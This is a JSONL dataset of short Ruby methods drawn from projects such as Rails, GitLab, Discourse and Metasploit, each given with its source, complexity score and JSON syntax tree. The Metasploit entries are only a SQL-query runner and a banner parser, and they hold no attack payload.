{"repo_name":"forem","file_path":"./repos/forem/app/workers/follows/update_points_worker.rb","start_line":21,"raw_source":"def recalculate_tag_follow_points(tag_name, user)\n      tag = Tag.find_by(name: tag_name)\n      follow = Follow.follower_tag(user.id).where(followable_id: tag.id).last\n\n      follow.implicit_points = calculate_implicit_points(tag, user)\n      follow.save\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"recalculate_tag_follow_points\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag_name\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tag\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"follow\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Follow\"]},\"follower_tag\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"id\"]}]}]}]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"implicit_points=\",{\"type\":\"send\",\"children\":[null,\"calculate_implicit_points\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"follow\"]},\"save\"]}]}]}","id":"2234ef1e-bbee-4fa4-8d6c-58bc1487255b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/date_time_ext_test.rb","start_line":492,"raw_source":"def test_usec\n    assert_equal 0, DateTime.civil(2000).usec\n    assert_equal 500000, DateTime.civil(2000, 1, 1, 0, 0, Rational(1, 2)).usec\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_usec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]}]},\"usec\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[500000]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"civil\",{\"type\":\"int\",\"children\":[2000]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"Rational\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]}]}]},\"usec\"]}]}]}]}","id":"0d22bb0b-919e-460c-a455-cda7aec8fb17"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/utils/uniquify.rb","start_line":22,"raw_source":"def string(base)\n        @base = base\n\n        increment_counter! while yield(base_string)\n        base_string\n      end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"string\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@base\",{\"type\":\"lvar\",\"children\":[\"base\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_string\"]}]},{\"type\":\"send\",\"children\":[null,\"increment_counter!\"]}]},{\"type\":\"send\",\"children\":[null,\"base_string\"]}]}]}","id":"94c2b358-0aa8-413c-9d70-89684e14c1e1"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/services/problem_check/group_email_credentials_spec.rb","start_line":103,"raw_source":"def expect_no_validate_any\n    expect_no_validate_smtp\n    expect_no_validate_imap\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_validate_any\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect_no_validate_smtp\"]},{\"type\":\"send\",\"children\":[null,\"expect_no_validate_imap\"]}]}]}","id":"97d044fe-ea7e-4f2c-ac40-b29755e0c9c9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/destroy_service.rb","start_line":7,"raw_source":"def execute(\n      member,\n      skip_authorization: false,\n      skip_subresources: false,\n      unassign_issuables: false,\n      destroy_bot: false,\n      skip_saml_identity: false\n    )\n\n      unless skip_authorization\n        raise Gitlab::Access::AccessDeniedError unless authorized?(member, destroy_bot)\n\n        raise Gitlab::Access::AccessDeniedError if destroying_member_with_owner_access_level?(member) &&\n          cannot_revoke_owner_responsibilities_from_member_in_project?(member)\n      end\n\n      @skip_auth = skip_authorization\n\n      if a_group_owner?(member)\n        process_destroy_of_group_owner_member(member, skip_subresources, skip_saml_identity)\n      else\n        destroy_member(member)\n        destroy_data_related_to_member(member, skip_subresources, skip_saml_identity)\n      end\n\n      enqueue_jobs_that_needs_to_be_run_only_once_per_hierarchy(member, unassign_issuables)\n      publish_events_once(member)\n\n      member\n    end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"kwoptarg\",\"children\":[\"skip_authorization\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_subresources\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"unassign_issuables\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"destroy_bot\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"skip_saml_identity\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_authorization\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorized?\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"destroy_bot\"]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"AccessDeniedError\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroying_member_with_owner_access_level?\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"cannot_revoke_owner_responsibilities_from_member_in_project?\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Access\"]},\"AccessDeniedError\"]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@skip_auth\",{\"type\":\"lvar\",\"children\":[\"skip_authorization\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"a_group_owner?\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"process_destroy_of_group_owner_member\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"skip_subresources\"]},{\"type\":\"lvar\",\"children\":[\"skip_saml_identity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_member\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"destroy_data_related_to_member\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"skip_subresources\"]},{\"type\":\"lvar\",\"children\":[\"skip_saml_identity\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"enqueue_jobs_that_needs_to_be_run_only_once_per_hierarchy\",{\"type\":\"lvar\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"unassign_issuables\"]}]},{\"type\":\"send\",\"children\":[null,\"publish_events_once\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}","id":"e5ab9f18-d136-48a3-a78f-493dd23fe01e"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/utilities/endpoints/sql_fallbacked_index.rb","start_line":60,"raw_source":"def calculate_resulting_params(query, provided_params)\n            super.tap do |params|\n              params.delete(:select) unless provided_params.has_key?(:select)\n            end\n          end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"calculate_resulting_params\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"query\"]},{\"type\":\"arg\",\"children\":[\"provided_params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"provided_params\"]},\"has_key?\",{\"type\":\"sym\",\"children\":[\"select\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"select\"]}]}]}]}]}","id":"7d9f61ae-4055-4b59-b144-c1631edbe3f6"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/job.rb","start_line":80,"raw_source":"def set_status(message, status = \"ok\")\n    self.message = message\n    self.status  = status\n\n    save\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_status\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"optarg\",\"children\":[\"status\",{\"type\":\"str\",\"children\":[\"ok\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"message=\",{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"status=\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"send\",\"children\":[null,\"save\"]}]}]}","id":"6ef0f188-9e3d-4d2f-bd95-cecfdb177f29"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/postgres/postgres_sql.rb","start_line":50,"raw_source":"def run\n    self.postgres_conn = session.client if session\n    ret = postgres_query(datastore['SQL'], datastore['RETURN_ROWSET'])\n    case ret.keys[0]\n    when :conn_error\n      print_error \"#{rhost}:#{rport} Postgres - Authentication failure, could not connect.\"\n    when :sql_error\n      print_error \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - #{ret[:sql_error]}\"\n    when :complete\n      vprint_good \"#{postgres_conn.peerhost}:#{postgres_conn.peerport} Postgres - Command complete.\"\n    end\n    postgres_logout if postgres_conn && session.blank?\n  end","complexity_score":45.6,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"postgres_conn=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"client\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"postgres_query\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SQL\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RETURN_ROWSET\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"keys\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"conn_error\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" Postgres - Authentication failure, could not connect.\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql_error\"]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" Postgres - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sql_error\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"complete\"]},{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},\"peerport\"]}]},{\"type\":\"str\",\"children\":[\" Postgres - Command complete.\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"postgres_conn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[null,\"postgres_logout\"]},null]}]}]}","id":"ced7f3cc-f671-4047-a648-e3d354256aa2"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/select_kit.rb","start_line":95,"raw_source":"def search(value = nil)\n        expanded_component.find(\".select-kit-filter .filter-input\").fill_in(with: value)\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expanded_component\"]},\"find\",{\"type\":\"str\",\"children\":[\".select-kit-filter .filter-input\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}","id":"00a6645f-10b9-4a0d-81e8-d43d5ba12c2e"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/render_parser/ripper_render_parser.rb","start_line":193,"raw_source":"def render_calls\n        parser = RenderCallExtractor.new(@code)\n        parser.parse\n\n        parser.render_calls.group_by(&:first).to_h do |method, nodes|\n          [ method.to_sym, nodes.collect { |v| v[1] } ]\n        end.map do |method, nodes|\n          nodes.map { |n| parse_render(n) }\n        end.flatten.compact\n      end","complexity_score":29.0,"ast_json":"{\"type\":\"def\",\"children\":[\"render_calls\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parser\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RenderCallExtractor\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@code\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"parse\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parser\"]},\"render_calls\"]},\"group_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"to_sym\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"collect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"nodes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"nodes\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"n\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_render\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]}]},\"flatten\"]},\"compact\"]}]}]}","id":"f73e2261-2550-48c4-9442-0e07bb6aa3ee"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/timestamp.rb","start_line":79,"raw_source":"def current_time_from_proper_timezone\n        with_connection { |c| c.default_timezone == :utc ? Time.now.utc : Time.now }\n      end","complexity_score":9.3,"ast_json":"{\"type\":\"def\",\"children\":[\"current_time_from_proper_timezone\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"default_timezone\"]},\"==\",{\"type\":\"sym\",\"children\":[\"utc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]}]}","id":"e056fc7a-33d8-4a22-bb6e-6253b057619e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/mailers/previews/members/access_denied_mailer_preview.rb","start_line":9,"raw_source":"def private_source_email\n      Members::AccessDeniedMailer.with(member: private_member).email.message # rubocop:disable CodeReuse/ActiveRecord -- false positive\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"private_source_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"AccessDeniedMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"send\",\"children\":[null,\"private_member\"]}]}]}]},\"email\"]},\"message\"]}]}","id":"fafc8d77-1575-4ed1-9742-a2a1b0fc54cd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/arel/nodes/ascending_test.rb","start_line":13,"raw_source":"def test_reverse\n        ascending = Ascending.new \"zomg\"\n        descending = ascending.reverse\n        assert_kind_of Descending, descending\n        assert_equal ascending.expr, descending.expr\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_reverse\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ascending\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ascending\"]},\"new\",{\"type\":\"str\",\"children\":[\"zomg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"descending\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ascending\"]},\"reverse\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Descending\"]},{\"type\":\"lvar\",\"children\":[\"descending\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ascending\"]},\"expr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"descending\"]},\"expr\"]}]}]}]}","id":"73ac06f6-0297-41ac-9ed4-38530e3f06a8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/repositories/base_service.rb","start_line":14,"raw_source":"def repo_exists?(path)\n    gitlab_shell.repository_exists?(repository.shard, path + '.git')\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"repo_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"gitlab_shell\"]},\"repository_exists?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"repository\"]},\"shard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"+\",{\"type\":\"str\",\"children\":[\".git\"]}]}]}]}","id":"35e0984e-50be-44d5-bc4d-5e69d64ce690"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/parser/foundstone_document.rb","start_line":259,"raw_source":"def normalize_foundstone_banner(service,banner)\n      return \"\" if(banner.nil? || banner.strip.empty?)\n      if first_line_only? service\n        return (first_line banner)\n      elsif needs_more_processing? service\n        return process_service(service,banner)\n      else\n        return (first_line banner)\n      end\n    end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_foundstone_banner\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"service\"]},{\"type\":\"arg\",\"children\":[\"banner\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"strip\"]},\"empty?\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_line_only?\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_line\",{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"needs_more_processing?\",{\"type\":\"lvar\",\"children\":[\"service\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_service\",{\"type\":\"lvar\",\"children\":[\"service\"]},{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"first_line\",{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]}]}]}]}]}]}","id":"0c1daa88-5414-4098-87a3-2bcf0bafdce5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/authorized_project_update/project_recalculate_per_user_service.rb","start_line":5,"raw_source":"def initialize(project, user)\n      @project = project\n      @user = user\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@project\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"1bf38742-cbde-475b-a5d0-2b9d80ac28de"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/array_inquirer_test.rb","start_line":46,"raw_source":"def respond_to_missing?(name, include_private = false)\n        (name == :foo) || super\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"respond_to_missing?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"include_private\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"foo\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"49898a82-0849-408b-9f93-8dbdb0f60a90"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-policy/lib/extensions/post_serializer_extension.rb","start_line":72,"raw_source":"def policy_not_accepted_by_count\n      post_policy.not_accepted_by.size\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"policy_not_accepted_by_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post_policy\"]},\"not_accepted_by\"]},\"size\"]}]}","id":"2cf78fb4-488b-4a73-873e-b88f9c1154ec"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/mixins/inter_region_api_method_relay_spec.rb","start_line":33,"raw_source":"def test_instance_method_arg(arg)\n          block_given? ? yield(arg) : arg\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_instance_method_arg\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}","id":"9614b674-fd21-4085-a176-8fc3603a34b0"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/theme_settings_manager/upload.rb","start_line":30,"raw_source":"def cdn_url(upload_id)\n    return if upload_id.blank?\n\n    upload = ::Upload.find_by_id(upload_id.to_i)\n    return if upload.blank?\n\n    Discourse.store.cdn_url(upload.url)\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cdn_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_id\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"upload\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Upload\"]},\"find_by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_id\"]},\"to_i\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"store\"]},\"cdn_url\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]}]}]}","id":"f7b346fc-71c8-4a2e-b985-6cab11265003"}
